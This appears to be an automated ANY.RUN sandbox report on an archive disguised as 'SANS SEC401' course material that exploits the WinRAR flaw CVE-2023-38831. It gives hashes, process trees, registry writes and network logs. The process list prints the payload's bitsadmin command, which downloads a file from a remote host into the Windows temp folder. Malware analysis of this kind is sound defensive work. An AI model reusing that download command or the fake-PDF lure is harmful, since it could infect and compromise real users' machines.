Malware analysis SANS SEC401.rar Malicious activity | ANY.RUN

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File name:	SANS SEC401.rar
Full analysis:	https://app.any.run/tasks/540065b7-e22b-4b32-ac90-49e86200b0e0
Verdict:	Malicious activity
Analysis date:	October 05, 2024, 18:57:45
OS:	Windows 10 Professional (build: 19045, 64 bit)
Tags:	CVE-2023-38831
Indicators:
MIME:	application/zip
File info:	Zip archive data, at least v2.0 to extract, compression method=store
MD5:	1FBD3CA9FCFEA5AAC390EA38FF818CC9
SHA1:	04BB53BD8A264BE0B3EA10FFA1945EB6F5ECDA93
SHA256:	D1A55BB98B750CE9B9D9610A857DDC408331B6AE6834C1CBCCCA4FD1C50C4FB8
SSDEEP:	768:tDUX2OpRDnVoegESWJDg8LUud1LRqh1cC8v3GIEBK8:t0DHDnVoe1SsDuh103YBf

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Launch configuration

Task duration:: 180 seconds
Heavy Evasion option:
Network geolocation:: off
Additional time used:: 120 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- Downloads files via BITSADMIN.EXE
  - cmd.exe (PID: 5184)
- CVE-2023-38831 is detected
  - WinRAR.exe (PID: 752)
SUSPICIOUS
- Starts CMD.EXE for commands execution
  - WinRAR.exe (PID: 752)
- Executing commands from ".cmd" file
  - WinRAR.exe (PID: 752)
INFO
No info indicators.

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No Malware configuration.

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TRiD

.zip	\|	ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion:	20
ZipBitFlag:	-
ZipCompression:	None
ZipModifyDate:	2024:02:03 09:11:32
ZipCRC:	0x00000000
ZipCompressedSize:	-
ZipUncompressedSize:	-
ZipFileName:	SANS SEC401.pdf /

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Total processes

139

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

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Process information

PID

CMD

Path

Indicators

Parent process

752

"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\SANS SEC401.rar.zip"

C:\Program Files\WinRAR\WinRAR.exe

explorer.exe

User:

admin

Company:

Alexander Roshal

Integrity Level:

MEDIUM

Description:

WinRAR archiver

Version:

5.91.0

Modules

Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll

2060

C:\WINDOWS\system32\SppExtComObj.exe -Embedding

C:\Windows\System32\SppExtComObj.Exe

—

svchost.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

KMS Connection Broker

Exit code:

Version:

10.0.19041.3996 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll

4080

bitsadmin /transfer Nothing /download /priority normal http://172.18.35.10:8000/amanwhogetsnorest.jpg C:\Windows\Temp\amanwhogetsnorest.jpg

C:\Windows\System32\bitsadmin.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

BITS administration utility

Version:

7.8.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\bitsadmin.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\sspicli.dll

4224

"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent

C:\Windows\System32\slui.exe

SppExtComObj.Exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows Activation Client

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

5184

C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$DIa752.162\SANS SEC401.pdf .cmd" "

C:\Windows\System32\cmd.exe

—

WinRAR.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll

5436

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

6948

C:\WINDOWS\System32\slui.exe -Embedding

C:\Windows\System32\slui.exe

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Activation Client

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

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Total events

3 039

Read events

3 033

Write events

Delete events

Modification events


(PID) Process:	(752) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:	write	Name:	1
Value: C:\Users\admin\Desktop\GoogleChromeEnterpriseBundle64.zip
(PID) Process:	(752) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:	write	Name:	0
Value: C:\Users\admin\AppData\Local\Temp\SANS SEC401.rar.zip
(PID) Process:	(752) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	name
Value: 120
(PID) Process:	(752) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	size
Value: 80
(PID) Process:	(752) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	type
Value: 120
(PID) Process:	(752) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	mtime
Value: 100

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
752	WinRAR.exe	C:\Users\admin\AppData\Local\Temp\Rar$DIa752.162\SANS SEC401.pdf .cmd		text
		MD5:74900DD2A29CD5EEBCC259F0265C8425	SHA256:5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
2280	svchost.exe	GET	200	23.52.120.96:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
6912	svchost.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
4732	backgroundTaskHost.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D	unknown	—	—	whitelisted
3768	SIHClient.exe	GET	200	23.52.120.96:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
3768	SIHClient.exe	GET	200	23.52.120.96:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4	System	192.168.100.255:137	—	—	—	whitelisted
2280	svchost.exe	23.52.120.96:80	www.microsoft.com	AKAMAI-AS	DE	whitelisted
—	—	23.213.166.81:443	go.microsoft.com	AKAMAI-AS	DE	whitelisted
—	—	20.190.159.4:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
6912	svchost.exe	192.229.221.95:80	ocsp.digicert.com	EDGECAST	US	whitelisted
5796	svchost.exe	23.213.166.81:443	go.microsoft.com	AKAMAI-AS	DE	whitelisted
—	—	40.113.103.199:443	client.wns.windows.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
3888	svchost.exe	239.255.255.250:1900	—	—	—	whitelisted
6912	svchost.exe	20.190.159.4:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	4.231.128.59	whitelisted
www.microsoft.com	23.52.120.96	whitelisted
google.com	142.250.186.110	whitelisted
go.microsoft.com	23.213.166.81	whitelisted
login.live.com	20.190.159.4 40.126.31.71 20.190.159.0 40.126.31.69 20.190.159.23 20.190.159.71 20.190.159.64 20.190.159.73	whitelisted
ocsp.digicert.com	192.229.221.95	whitelisted
client.wns.windows.com	40.113.103.199	whitelisted
arc.msn.com	20.103.156.88	whitelisted
fd.api.iris.microsoft.com	20.199.58.43	whitelisted
browser.pipe.aria.microsoft.com	52.168.117.171	whitelisted

Threats

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General Info

SANS SEC401.rar

1FBD3CA9FCFEA5AAC390EA38FF818CC9

04BB53BD8A264BE0B3EA10FFA1945EB6F5ECDA93

D1A55BB98B750CE9B9D9610A857DDC408331B6AE6834C1CBCCCA4FD1C50C4FB8

768:tDUX2OpRDnVoegESWJDg8LUud1LRqh1cC8v3GIEBK8:t0DHDnVoe1SsDuh103YBf

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Downloads files via BITSADMIN.EXE

CVE-2023-38831 is detected

SUSPICIOUS

Starts CMD.EXE for commands execution

Executing commands from ".cmd" file

INFO

Malware configuration

Static information

TRiD

EXIF

ZIP

Video and screenshots

Processes

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